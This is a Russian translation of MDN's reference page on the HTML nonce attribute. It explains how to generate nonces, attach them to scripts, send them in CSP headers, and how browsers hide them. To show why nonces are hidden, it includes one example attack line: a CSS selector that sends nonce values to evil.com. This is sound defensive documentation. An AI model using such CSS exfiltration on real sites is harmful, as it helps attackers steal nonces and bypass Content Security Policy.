nonce
Атрибут nonce глобальный атрибут — атрибут содержимого, определяющий криптографический nonce ("используемый один раз"), который может быть использован Политикой безопасности контента для определения того, разрешено ли продолжать загрузку определённого элемента.
Описание
Атрибут nonce полезен для разрешения конкретных элементов, таких как определённый встроенный скрипт или элементы стиля. Он может помочь вам избежать использования директивы CSP unsafe-inline, которая бы разрешала все встроенные скрипты или стили.
Примечание: Используйте nonce только в тех случаях, когда у вас нет альтернатив использованию небезопасного встроенного скрипта или содержимого стилей. Если вам не нужен nonce, не используйте его. Если ваш скрипт статичен, вы также можете использовать хэш CSP. (См. заметки по использованию на небезопасном встроенном скрипте.) Всегда старайтесь максимально использовать средства защиты CSP и избегайте nonces или небезопасных встроенных скриптов, когда это возможно.
Использование nonce для разрешения элемента <script>
Для разрешения встроенного скрипта с помощью механизма nonce требуется несколько шагов:
Генерация значений
Ваш веб-сервер должен сгенерировать случайную строку в base64-кодировании длиной не менее 128 бит из криптографически безопасного генератора случайных чисел. Nonce должен генерироваться по-разному при каждой загрузке страницы (nonce только один раз!). Например, в nodejs:
const crypto = require("crypto"); crypto.randomBytes(16).toString("base64"); // '8IBTHwOdqNKAWeKl7plt8g=='
Разрешение встроенного скрипта
Сгенерированное на стороне сервера значение nonce теперь должно быть использовано для встроенного скрипта, который вы хотите разрешить:
<script nonce="8IBTHwOdqNKAWeKl7plt8g=="> // … </script>
Отправка nonce с заголовком CSP
Наконец, вам нужно отправить значение nonce в заголовке Content-Security-Policy (добавить nonce-):
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
Доступ к nonces и сокрытие nonce
По соображениям безопасности атрибут содержимого nonce скрыт (будет возвращена пустая строка).
script.getAttribute("nonce"); // returns empty string
Свойство nonce — единственный способ получить доступ к nonces:
script.nonce; // returns nonce value
Скрытие nonce помогает предотвратить извлечение злоумышленниками данных nonce с помощью механизмов, которые могут получить данные из атрибутов содержимого такого типа:
script[nonce~="whatever"] { background: url("https://evil.com/nonce?whatever"); }
Спецификации
| Спецификация |
|---|
| Стандарт HTML # attr-nonce |
Совместимость с браузерами
| Рабочий стол | Мобильные устройства | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
| Chrome | Edge | Firefox | Opera | Safari | Chrome Android | Firefox для Android | Opera Android | Safari на iOS | Samsung Internet | WebView Android | |
nonce |
61 | 79 | 31 | 48 | 15.4 | 61 | 31 | 45 | 15.4 | 8.0 | 61 |
nonce_hiding |
61 | 79 | 75 | 48 | Нет | 61 | 79 | 45 | Нет | 8.0 | 61 |
См. также
© 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce